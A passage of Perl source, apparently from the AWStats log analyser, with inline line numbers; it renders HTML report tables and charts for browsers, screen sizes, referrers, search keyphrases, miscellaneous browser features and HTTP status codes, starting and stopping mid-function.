0, 'browsers' ); 15982 15983 &BuildKeyList( 15984 $MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'}, 15985 \%new_browser_h, \%new_browser_p 15986 ); 15987 15988 # Graph the top five in a pie chart 15989 if (scalar @keylist > 1){ 15990 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 15991 { 15992 my @blocklabel = (); 15993 my @valdata = (); 15994 my @valcolor = ($color_p); 15995 my $cnt = 0; 15996 foreach my $key (@keylist) { 15997 push @valdata, int( $new_browser_h{$key} / $TotalHits * 1000 ) / 10; 15998 if ($key eq 'Unknown'){push @blocklabel, "$key"; } 15999 else{ 16000 my $keywithoutcumul = $key; 16001 $keywithoutcumul =~ s/cumul$//i; 16002 my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} 16003 || $keywithoutcumul; 16004 my $nameicon = $BrowsersHashIcon{$keywithoutcumul} 16005 || "notavailable"; 16006 if ( $BrowsersFamily{$keywithoutcumul} ) { 16007 $libbrowser = "$libbrowser"; 16008 } 16009 push @blocklabel, "$libbrowser"; 16010 } 16011 $cnt++; 16012 if ($cnt > 4) { last; } 16013 } 16014 print "<tr><td colspan=\"5\">"; 16015 my $function = "ShowGraph_$pluginname"; 16016 &$function( 16017 "Top 5 Browsers", "browsers", 16018 0, \@blocklabel, 16019 0, \@valcolor, 16020 0, 0, 16021 0, \@valdata 16022 ); 16023 print "</td></tr>"; 16024 } 16025 } 16026 print 16027"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; 16028 my $total_h = 0; 16029 my $total_p = 0; 16030 my $count = 0; 16031 foreach my $key (@keylist) { 16032 my $p_h = ' '; 16033 my $p_p = ' '; 16034 if ($Totalh) { 16035 $p_h = int( $new_browser_h{$key} / $Totalh * 1000 ) / 10; 16036 $p_h = "$p_h %"; 16037 } 16038 if ($Totalp) { 16039 $p_p = int( $new_browser_p{$key} / $Totalp * 1000 ) / 10; 16040 $p_p = "$p_p %"; 16041 } 16042 if ( $key eq 'Unknown' ) { 16043 print "<tr><td" 16044 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 16045 . "><img src=\"$DirIcons\/browser\/unknown.png\"" 16046 . AltTitle("") 16047 . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td><td width=\"80\">?</td>" 16048 . "<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>" 16049 . "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td></tr>\n"; 16050 } 16051 else { 16052 my $keywithoutcumul = $key; 16053 $keywithoutcumul =~ s/cumul$//i; 16054 my $libbrowser = $BrowsersHashIDLib{$keywithoutcumul} 16055 || $keywithoutcumul; 16056 my $nameicon = $BrowsersHashIcon{$keywithoutcumul} 16057 || "notavailable"; 16058 if ( $BrowsersFamily{$keywithoutcumul} ) { 16059 $libbrowser = "<b>$libbrowser</b>"; 16060 } 16061 print "<tr><td" 16062 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 16063 . "><img src=\"$DirIcons\/browser\/$nameicon.png\"" 16064 . AltTitle("") 16065 . " /></td><td class=\"aws\">" 16066 . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) 16067 . "$libbrowser" 16068 . ( $PageDir eq 'rtl' ? "</span>" : "" ) 16069 . "</td><td>" 16070 . ( 16071 $BrowsersHereAreGrabbers{$key} 16072 ? "<b>$Message[112]</b>" 16073 : "$Message[113]" 16074 ) 16075 . "</td><td>".Format_Number($new_browser_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_browser_h{$key})."</td><td>$p_h</td></tr>\n"; 16076 } 16077 $total_h += $new_browser_h{$key}; 16078 $total_p += $new_browser_p{$key}; 16079 $count++; 16080 } 16081 if ($Debug) { 16082 debug( "Total real / shown : $Totalh / $total_h", 2 ); 16083 } 16084 my $rest_h = $Totalh - $total_h; 16085 my $rest_p = $Totalp - $total_p; 16086 if ( $rest_h > 0 ) { 16087 my $p_p = 0.0; 16088 my $p_h; 16089 if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; } 16090 if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; } 16091 print "<tr>"; 16092 print "<td> </td>"; 16093 print 16094"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td> </td><td>$rest_p</td>"; 16095 print "<td>$p_p %</td><td>$rest_h</td><td>$p_h %</td></tr>\n"; 16096 } 16097 &tab_end(); 16098} 16099 16100#------------------------------------------------------------------------------ 16101# Function: Prints the ScreenSize chart and table 16102# Parameters: - 16103# Input: - 16104# Output: HTML 16105# Return: - 16106#------------------------------------------------------------------------------ 16107sub HTMLMainScreenSize{ 16108 if ($Debug) { debug( "ShowScreenSizeStats", 2 ); } 16109 print "$Center<a name=\"screensizes\"> </a><br />\n"; 16110 my $Totalh = 0; 16111 foreach ( keys %_screensize_h ) { $Totalh += $_screensize_h{$_}; } 16112 my $title = 16113 "$Message[135] ($Message[77] $MaxNbOf{'ScreenSizesShown'})"; 16114 &tab_head( "$title", 0, 0, 'screensizes' ); 16115 print 16116"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[135]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; 16117 my $total_h = 0; 16118 my $count = 0; 16119 &BuildKeyList( $MaxNbOf{'ScreenSizesShown'}, 16120 $MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h ); 16121 16122 foreach my $key (@keylist) { 16123 my $p = ' '; 16124 if ($Totalh) { 16125 $p = int( $_screensize_h{$key} / $Totalh * 1000 ) / 10; 16126 $p = "$p %"; 16127 } 16128 $total_h += $_screensize_h{$key} || 0; 16129 print "<tr>"; 16130 if ( $key eq 'Unknown' ) { 16131 print 16132"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; 16133 print "<td>$p</td>"; 16134 } 16135 else { 16136 my $screensize = $key; 16137 print "<td class=\"aws\">$screensize</td>"; 16138 print "<td>$p</td>"; 16139 } 16140 print "</tr>\n"; 16141 $count++; 16142 } 16143 my $rest_h = $Totalh - $total_h; 16144 if ( $rest_h > 0 ) { # All others sessions 16145 my $p = 0; 16146 if ($Totalh) { $p = int( $rest_h / $Totalh * 1000 ) / 10; } 16147 print 16148"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 16149 print "<td>" . ( $rest_h ? "$p %" : " " ) . "</td>"; 16150 print "</tr>\n"; 16151 } 16152 &tab_end(); 16153} 16154 16155#------------------------------------------------------------------------------ 16156# Function: Prints the Referrers chart and table 16157# Parameters: $NewLinkParams, $NewLinkTarget 16158# Input: - 16159# Output: HTML 16160# Return: - 16161#------------------------------------------------------------------------------ 16162sub HTMLMainReferrers{ 16163 my $NewLinkParams = shift; 16164 my $NewLinkTarget = shift; 16165 16166 if ($Debug) { debug( "ShowOriginStats", 2 ); } 16167 print "$Center<a name=\"referer\"> </a><br />\n"; 16168 my $Totalp = 0; 16169 foreach ( 0 .. 5 ) { 16170 $Totalp += 16171 ( $_ != 4 || $IncludeInternalLinksInOriginSection ) 16172 ? $_from_p[$_] 16173 : 0; 16174 } 16175 my $Totalh = 0; 16176 foreach ( 0 .. 5 ) { 16177 $Totalh += 16178 ( $_ != 4 || $IncludeInternalLinksInOriginSection ) 16179 ? $_from_h[$_] 16180 : 0; 16181 } 16182 16183 my $title = "$Message[36]"; 16184 16185 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 16186 # extend the title to include the added link 16187 $title .= " - <a href=\"" . (XMLEncode( 16188 "$AddLinkToExternalCGIWrapper" . "?section=ORIGIN&baseName=$DirData/$PROG" 16189 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 16190 . "&siteConfig=$SiteConfig" ) 16191 . "\"$NewLinkTarget>$Message[179]</a>"); 16192 } 16193 16194 &tab_head( $title, 19, 0, 'referer' ); 16195 my @p_p = ( 0, 0, 0, 0, 0, 0 ); 16196 if ( $Totalp > 0 ) { 16197 $p_p[0] = int( $_from_p[0] / $Totalp * 1000 ) / 10; 16198 $p_p[1] = int( $_from_p[1] / $Totalp * 1000 ) / 10; 16199 $p_p[2] = int( $_from_p[2] / $Totalp * 1000 ) / 10; 16200 $p_p[3] = int( $_from_p[3] / $Totalp * 1000 ) / 10; 16201 $p_p[4] = int( $_from_p[4] / $Totalp * 1000 ) / 10; 16202 $p_p[5] = int( $_from_p[5] / $Totalp * 1000 ) / 10; 16203 } 16204 my @p_h = ( 0, 0, 0, 0, 0, 0 ); 16205 if ( $Totalh > 0 ) { 16206 $p_h[0] = int( $_from_h[0] / $Totalh * 1000 ) / 10; 16207 $p_h[1] = int( $_from_h[1] / $Totalh * 1000 ) / 10; 16208 $p_h[2] = int( $_from_h[2] / $Totalh * 1000 ) / 10; 16209 $p_h[3] = int( $_from_h[3] / $Totalh * 1000 ) / 10; 16210 $p_h[4] = int( $_from_h[4] / $Totalh * 1000 ) / 10; 16211 $p_h[5] = int( $_from_h[5] / $Totalh * 1000 ) / 10; 16212 } 16213 print 16214 "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[37]</th>"; 16215 if ( $ShowOriginStats =~ /P/i ) { 16216 print 16217"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; 16218 } 16219 if ( $ShowOriginStats =~ /H/i ) { 16220 print 16221"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; 16222 } 16223 print "</tr>\n"; 16224 16225 #------- Referrals by direct address/bookmark/link in email/etc... 16226 print "<tr><td class=\"aws\"><b>$Message[38]</b></td>"; 16227 if ( $ShowOriginStats =~ /P/i ) { 16228 print "<td>" 16229 . ( $_from_p[0] ? Format_Number($_from_p[0]) : " " ) 16230 . "</td><td>" 16231 . ( $_from_p[0] ? "$p_p[0] %" : " " ) . "</td>"; 16232 } 16233 if ( $ShowOriginStats =~ /H/i ) { 16234 print "<td>" 16235 . ( $_from_h[0] ? Format_Number($_from_h[0]) : " " ) 16236 . "</td><td>" 16237 . ( $_from_h[0] ? "$p_h[0] %" : " " ) . "</td>"; 16238 } 16239 print "</tr>\n"; 16240 16241 #------- Referrals by search engines 16242 print "<tr" 16243 . Tooltip(13) 16244 . "><td class=\"aws\"><b>$Message[40]</b> - <a href=\"" 16245 . ( 16246 $ENV{'GATEWAY_INTERFACE'} 16247 || !$StaticLinks 16248 ? XMLEncode("$AWScript${NewLinkParams}output=refererse") 16249 : "$StaticLinks.refererse.$StaticExt" 16250 ) 16251 . "\"$NewLinkTarget>$Message[80]</a><br />\n"; 16252 if ( scalar keys %_se_referrals_h ) { 16253 print "<table>\n"; 16254 my $total_p = 0; 16255 my $total_h = 0; 16256 my $count = 0; 16257 &BuildKeyList( 16258 $MaxNbOf{'RefererShown'}, 16259 $MinHit{'Refer'}, 16260 \%_se_referrals_h, 16261 ( 16262 ( scalar keys %_se_referrals_p ) 16263 ? \%_se_referrals_p 16264 : \%_se_referrals_h 16265 ) 16266 ); 16267 foreach my $key (@keylist) { 16268 my $newreferer = $SearchEnginesHashLib{$key} 16269 || CleanXSS($key); 16270 print "<tr><td class=\"aws\">- $newreferer</td>"; 16271 print "<td>" 16272 . ( 16273 Format_Number($_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' )) 16274 . "</td>"; 16275 print "<td> / ".Format_Number($_se_referrals_h{$key})."</td>"; 16276 print "</tr>\n"; 16277 $total_p += $_se_referrals_p{$key}; 16278 $total_h += $_se_referrals_h{$key}; 16279 $count++; 16280 } 16281 if ($Debug) { 16282 debug( 16283"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h", 16284 2 16285 ); 16286 } 16287 my $rest_p = $TotalSearchEnginesPages - $total_p; 16288 my $rest_h = $TotalSearchEnginesHits - $total_h; 16289 if ( $rest_p > 0 || $rest_h > 0 ) { 16290 print 16291"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>"; 16292 print "<td>".Format_Number($rest_p)."</td>"; 16293 print "<td> / ".Format_Number($rest_h)."</td>"; 16294 print "</tr>\n"; 16295 } 16296 print "</table>"; 16297 } 16298 print "</td>\n"; 16299 if ( $ShowOriginStats =~ /P/i ) { 16300 print "<td valign=\"top\">" 16301 . ( $_from_p[2] ? Format_Number($_from_p[2]) : " " ) 16302 . "</td><td valign=\"top\">" 16303 . ( $_from_p[2] ? "$p_p[2] %" : " " ) . "</td>"; 16304 } 16305 if ( $ShowOriginStats =~ /H/i ) { 16306 print "<td valign=\"top\">" 16307 . ( $_from_h[2] ? Format_Number($_from_h[2]) : " " ) 16308 . "</td><td valign=\"top\">" 16309 . ( $_from_h[2] ? "$p_h[2] %" : " " ) . "</td>"; 16310 } 16311 print "</tr>\n"; 16312 16313 #------- Referrals by external HTML link 16314 print "<tr" 16315 . Tooltip(14) 16316 . "><td class=\"aws\"><b>$Message[41]</b> - <a href=\"" 16317 . ( 16318 $ENV{'GATEWAY_INTERFACE'} 16319 || !$StaticLinks 16320 ? XMLEncode("$AWScript${NewLinkParams}output=refererpages") 16321 : "$StaticLinks.refererpages.$StaticExt" 16322 ) 16323 . "\"$NewLinkTarget>$Message[80]</a><br />\n"; 16324 if ( scalar keys %_pagesrefs_h ) { 16325 print "<table>\n"; 16326 my $total_p = 0; 16327 my $total_h = 0; 16328 my $count = 0; 16329 &BuildKeyList( 16330 $MaxNbOf{'RefererShown'}, 16331 $MinHit{'Refer'}, 16332 \%_pagesrefs_h, 16333 ( 16334 ( scalar keys %_pagesrefs_p ) 16335 ? \%_pagesrefs_p 16336 : \%_pagesrefs_h 16337 ) 16338 ); 16339 foreach my $key (@keylist) { 16340 print "<tr><td class=\"aws\">- "; 16341 &HTMLShowURLInfo($key); 16342 print "</td>"; 16343 print "<td>" 16344 . Format_Number(( $_pagesrefs_p{$key} ? $_pagesrefs_p{$key} : '0' )) 16345 . "</td>"; 16346 print "<td>".Format_Number($_pagesrefs_h{$key})."</td>"; 16347 print "</tr>\n"; 16348 $total_p += $_pagesrefs_p{$key}; 16349 $total_h += $_pagesrefs_h{$key}; 16350 $count++; 16351 } 16352 if ($Debug) { 16353 debug( 16354"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h", 16355 2 16356 ); 16357 } 16358 my $rest_p = $TotalRefererPages - $total_p; 16359 my $rest_h = $TotalRefererHits - $total_h; 16360 if ( $rest_p > 0 || $rest_h > 0 ) { 16361 print 16362"<tr><td class=\"aws\"><span style=\"color: #$color_other\">- $Message[2]</span></td>"; 16363 print "<td>".Format_Number($rest_p)."</td>"; 16364 print "<td>".Format_Number($rest_h)."</td>"; 16365 print "</tr>\n"; 16366 } 16367 print "</table>"; 16368 } 16369 print "</td>\n"; 16370 if ( $ShowOriginStats =~ /P/i ) { 16371 print "<td valign=\"top\">" 16372 . ( $_from_p[3] ? Format_Number($_from_p[3]) : " " ) 16373 . "</td><td valign=\"top\">" 16374 . ( $_from_p[3] ? "$p_p[3] %" : " " ) . "</td>"; 16375 } 16376 if ( $ShowOriginStats =~ /H/i ) { 16377 print "<td valign=\"top\">" 16378 . ( $_from_h[3] ? Format_Number($_from_h[3]) : " " ) 16379 . "</td><td valign=\"top\">" 16380 . ( $_from_h[3] ? "$p_h[3] %" : " " ) . "</td>"; 16381 } 16382 print "</tr>\n"; 16383 16384 #------- Referrals by internal HTML link 16385 if ($IncludeInternalLinksInOriginSection) { 16386 print "<tr><td class=\"aws\"><b>$Message[42]</b></td>"; 16387 if ( $ShowOriginStats =~ /P/i ) { 16388 print "<td>" 16389 . ( $_from_p[4] ? Format_Number($_from_p[4]) : " " ) 16390 . "</td><td>" 16391 . ( $_from_p[4] ? "$p_p[4] %" : " " ) . "</td>"; 16392 } 16393 if ( $ShowOriginStats =~ /H/i ) { 16394 print "<td>" 16395 . ( $_from_h[4] ? Format_Number($_from_h[4]) : " " ) 16396 . "</td><td>" 16397 . ( $_from_h[4] ? "$p_h[4] %" : " " ) . "</td>"; 16398 } 16399 print "</tr>\n"; 16400 } 16401 16402 #------- Referrals by news group 16403 #print "<tr><td class=\"aws\"><b>$Message[107]</b></td>"; 16404 #if ($ShowOriginStats =~ /P/i) { print "<td>".($_from_p[5]?$_from_p[5]:" ")."</td><td>".($_from_p[5]?"$p_p[5] %":" ")."</td>"; } 16405 #if ($ShowOriginStats =~ /H/i) { print "<td>".($_from_h[5]?$_from_h[5]:" ")."</td><td>".($_from_h[5]?"$p_h[5] %":" ")."</td>"; } 16406 #print "</tr>\n"; 16407 16408 #------- Unknown origin 16409 print "<tr><td class=\"aws\"><b>$Message[39]</b></td>"; 16410 if ( $ShowOriginStats =~ /P/i ) { 16411 print "<td>" 16412 . ( $_from_p[1] ? Format_Number($_from_p[1]) : " " ) 16413 . "</td><td>" 16414 . ( $_from_p[1] ? "$p_p[1] %" : " " ) . "</td>"; 16415 } 16416 if ( $ShowOriginStats =~ /H/i ) { 16417 print "<td>" 16418 . ( $_from_h[1] ? Format_Number($_from_h[1]) : " " ) 16419 . "</td><td>" 16420 . ( $_from_h[1] ? "$p_h[1] %" : " " ) . "</td>"; 16421 } 16422 print "</tr>\n"; 16423 &tab_end(); 16424 16425 # 0: Direct 16426 # 1: Unknown 16427 # 2: SE 16428 # 3: External link 16429 # 4: Internal link 16430 # 5: Newsgroup (deprecated) 16431} 16432 16433#------------------------------------------------------------------------------ 16434# Function: Prints the Key Phrases and Keywords chart and table 16435# Parameters: $NewLinkParams, $NewLinkTarget 16436# Input: - 16437# Output: HTML 16438# Return: - 16439#------------------------------------------------------------------------------ 16440sub HTMLMainKeys{ 16441 my $NewLinkParams = shift; 16442 my $NewLinkTarget = shift; 16443 16444 if ($ShowKeyphrasesStats) { 16445 print "$Center<a name=\"keyphrases\"> </a>"; 16446 } 16447 if ($ShowKeywordsStats) { 16448 print "$Center<a name=\"keywords\"> </a>"; 16449 } 16450 if ( $ShowKeyphrasesStats || $ShowKeywordsStats ) { print "<br />\n"; } 16451 if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { 16452 print 16453 "<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\"><tr>"; 16454 } 16455 if ($ShowKeyphrasesStats) { 16456 16457 # By Keyphrases 16458 if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { 16459 print "<td width=\"50%\" valign=\"top\">\n"; 16460 } 16461 if ($Debug) { debug( "ShowKeyphrasesStats", 2 ); } 16462 &tab_head( 16463"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\"" 16464 . ( 16465 $ENV{'GATEWAY_INTERFACE'} 16466 || !$StaticLinks 16467 ? XMLEncode("$AWScript${NewLinkParams}output=keyphrases") 16468 : "$StaticLinks.keyphrases.$StaticExt" 16469 ) 16470 . "\"$NewLinkTarget>$Message[80]</a>", 16471 19, 16472 ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70, 16473 'keyphrases' 16474 ); 16475 print "<tr bgcolor=\"#$color_TableBGRowTitle\"" 16476 . Tooltip(15) 16477 . "><th>$TotalDifferentKeyphrases $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; 16478 my $total_s = 0; 16479 my $count = 0; 16480 &BuildKeyList( $MaxNbOf{'KeyphrasesShown'}, 16481 $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases ); 16482 foreach my $key (@keylist) { 16483 my $mot; 16484 16485 # Convert coded keywords (utf8,...) to be correctly reported in HTML page. 16486 if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { 16487 $mot = CleanXSS( 16488 DecodeKey_decodeutfkeys( 16489 $key, $PageCode || 'iso-8859-1' 16490 ) 16491 ); 16492 } 16493 else { $mot = CleanXSS( DecodeEncodedString($key) ); } 16494 my $p; 16495 if ($TotalKeyphrases) { 16496 $p = 16497 int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10; 16498 } 16499 print "<tr><td class=\"aws\">" 16500 . XMLEncode($mot) 16501 . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n"; 16502 $total_s += $_keyphrases{$key}; 16503 $count++; 16504 } 16505 if ($Debug) { 16506 debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 ); 16507 } 16508 my $rest_s = $TotalKeyphrases - $total_s; 16509 if ( $rest_s > 0 ) { 16510 my $p; 16511 if ($TotalKeyphrases) { 16512 $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10; 16513 } 16514 print 16515"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>$rest_s</td>"; 16516 print "<td>$p %</td></tr>\n"; 16517 } 16518 &tab_end(); 16519 if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { 16520 print "</td>\n"; 16521 } 16522 } 16523 if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { 16524 print "<td> </td>"; 16525 } 16526 if ($ShowKeywordsStats) { 16527 16528 # By Keywords 16529 if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { 16530 print "<td width=\"50%\" valign=\"top\">\n"; 16531 } 16532 if ($Debug) { debug( "ShowKeywordsStats", 2 ); } 16533 &tab_head( 16534"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\"" 16535 . ( 16536 $ENV{'GATEWAY_INTERFACE'} 16537 || !$StaticLinks 16538 ? XMLEncode("$AWScript${NewLinkParams}output=keywords") 16539 : "$StaticLinks.keywords.$StaticExt" 16540 ) 16541 . "\"$NewLinkTarget>$Message[80]</a>", 16542 19, 16543 ( $ShowKeyphrasesStats && $ShowKeywordsStats ) ? 95 : 70, 16544 'keywords' 16545 ); 16546 print "<tr bgcolor=\"#$color_TableBGRowTitle\"" 16547 . Tooltip(15) 16548 . "><th>$TotalDifferentKeywords $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; 16549 my $total_s = 0; 16550 my $count = 0; 16551 &BuildKeyList( $MaxNbOf{'KeywordsShown'}, 16552 $MinHit{'Keyword'}, \%_keywords, \%_keywords ); 16553 foreach my $key (@keylist) { 16554 my $mot; 16555 16556 # Convert coded keywords (utf8,...) to be correctly reported in HTML page. 16557 if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { 16558 $mot = CleanXSS( 16559 DecodeKey_decodeutfkeys( 16560 $key, $PageCode || 'iso-8859-1' 16561 ) 16562 ); 16563 } 16564 else { $mot = CleanXSS( DecodeEncodedString($key) ); } 16565 my $p; 16566 if ($TotalKeywords) { 16567 $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10; 16568 } 16569 print "<tr><td class=\"aws\">" 16570 . XMLEncode($mot) 16571 . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n"; 16572 $total_s += $_keywords{$key}; 16573 $count++; 16574 } 16575 if ($Debug) { 16576 debug( "Total real / shown : $TotalKeywords / $total_s", 2 ); 16577 } 16578 my $rest_s = $TotalKeywords - $total_s; 16579 if ( $rest_s > 0 ) { 16580 my $p; 16581 if ($TotalKeywords) { 16582 $p = int( $rest_s / $TotalKeywords * 1000 ) / 10; 16583 } 16584 print 16585"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>$rest_s</td>"; 16586 print "<td>$p %</td></tr>\n"; 16587 } 16588 &tab_end(); 16589 if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { 16590 print "</td>\n"; 16591 } 16592 } 16593 if ( $ShowKeyphrasesStats && $ShowKeywordsStats ) { 16594 print "</tr></table>\n"; 16595 } 16596} 16597 16598#------------------------------------------------------------------------------ 16599# Function: Prints the miscellaneous table 16600# Parameters: - 16601# Input: - 16602# Output: HTML 16603# Return: - 16604#------------------------------------------------------------------------------ 16605sub HTMLMainMisc{ 16606 if ($Debug) { debug( "ShowMiscStats", 2 ); } 16607 print "$Center<a name=\"misc\"> </a><br />\n"; 16608 my $title = "$Message[139]"; 16609 &tab_head( "$title", 19, 0, 'misc' ); 16610 print 16611 "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[139]</th>"; 16612 print "<th width=\"100\"> </th>"; 16613 print "<th width=\"100\"> </th>"; 16614 print "</tr>\n"; 16615 my %label = ( 16616 'AddToFavourites' => $Message[137], 16617 'JavascriptDisabled' => $Message[168], 16618 'JavaEnabled' => $Message[140], 16619 'DirectorSupport' => $Message[141], 16620 'FlashSupport' => $Message[142], 16621 'RealPlayerSupport' => $Message[143], 16622 'QuickTimeSupport' => $Message[144], 16623 'WindowsMediaPlayerSupport' => $Message[145], 16624 'PDFSupport' => $Message[146] 16625 ); 16626 16627 foreach my $key (@MiscListOrder) { 16628 my $mischar = substr( $key, 0, 1 ); 16629 if ( $ShowMiscStats !~ /$mischar/i ) { next; } 16630 my $total = 0; 16631 my $p; 16632 if ( $MiscListCalc{$key} eq 'v' ) { $total = $TotalVisits; } 16633 if ( $MiscListCalc{$key} eq 'u' ) { $total = $TotalUnique; } 16634 if ( $MiscListCalc{$key} eq 'hm' ) { 16635 $total = $_misc_h{'TotalMisc'} || 0; 16636 } 16637 if ($total) { 16638 $p = 16639 int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total * 16640 1000 ) / 10; 16641 } 16642 print "<tr>"; 16643 print "<td class=\"aws\">" 16644 . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) 16645 . $label{$key} 16646 . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; 16647 if ( $MiscListCalc{$key} eq 'v' ) { 16648 print "<td>" 16649 . Format_Number(( $_misc_h{$key} || 0 )) 16650 . " / ".Format_Number($total)." $Message[12]</td>"; 16651 } 16652 if ( $MiscListCalc{$key} eq 'u' ) { 16653 print "<td>" 16654 . Format_Number(( $_misc_h{$key} || 0 )) 16655 . " / ".Format_Number($total)." $Message[18]</td>"; 16656 } 16657 if ( $MiscListCalc{$key} eq 'hm' ) { print "<td>-</td>"; } 16658 print "<td>" . ( $total ? "$p %" : " " ) . "</td>"; 16659 print "</tr>\n"; 16660 } 16661 &tab_end(); 16662} 16663 16664#------------------------------------------------------------------------------ 16665# Function: Prints the Status codes chart and table 16666# Parameters: $NewLinkParams, $NewLinkTarget 16667# Input: - 16668# Output: HTML 16669# Return: - 16670#------------------------------------------------------------------------------ 16671sub HTMLMainHTTPStatus{ 16672 my $NewLinkParams = shift; 16673 my $NewLinkTarget = shift; 16674 16675 if ($Debug) { debug( "ShowHTTPErrorsStats", 2 ); } 16676 print "$Center<a name=\"errors\"> </a><br />\n"; 16677 my $title = "$Message[32]"; 16678 16679 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 16680 # extend the title to include the added link 16681 $title .= " - <a href=\"" . (XMLEncode( 16682 "$AddLinkToExternalCGIWrapper" . "?section=ERRORS&baseName=$DirData/$PROG" 16683 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 16684 . "&siteConfig=$SiteConfig" ) 16685 . "\"$NewLinkTarget>$Message[179]</a>"); 16686 } 16687 16688 &tab_head( "$title", 19, 0, 'errors' ); 16689 16690 &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_errors_h, \%_errors_h ); 16691 16692 # Graph the top five in a pie chart 16693 if (scalar @keylist > 1){ 16694 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 16695 { 16696 my @blocklabel = (); 16697 my @valdata = (); 16698 my @valcolor = ($color_p); 16699 my $cnt = 0; 16700 foreach my $key (@keylist) { 16701 push @valdata, int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; 16702 push @blocklabel, "$key"; 16703 $cnt++; 16704 if ($cnt > 4) { last; } 16705 } 16706 print "<tr><td colspan=\"5\">"; 16707 my $function = "ShowGraph_$pluginname"; 16708 &$function( 16709 "$title", "httpstatus", 16710 0, \@blocklabel, 16711 0, \@valcolor, 16712 0, 0, 16713 0, \@valdata 16714 ); 16715 print "</td></tr>"; 16716 } 16717 } 16718 16719 print 16720"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[32]*</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th><th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th></tr>\n"; 16721 my $total_h = 0; 16722 my $count = 0; 16723 foreach my $key (@keylist) { 16724 my $p = int( $_errors_h{$key} / $TotalHitsErrors * 1000 ) / 10; 16725 print "<tr" . Tooltip( $key, $key ) . ">"; 16726 if ( $TrapInfosForHTTPErrorCodes{$key} ) { 16727 print "<td><a href=\"" 16728 . ( 16729 $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks 16730 ? XMLEncode( 16731 "$AWScript${NewLinkParams}output=errors$key") 16732 : "$StaticLinks.errors$key.$StaticExt" 16733 ) 16734 . "\"$NewLinkTarget>$key</a></td>"; 16735 } 16736 else { print "<td valign=\"top\">$key</td>"; } 16737 print "<td class=\"aws\">" 16738 . 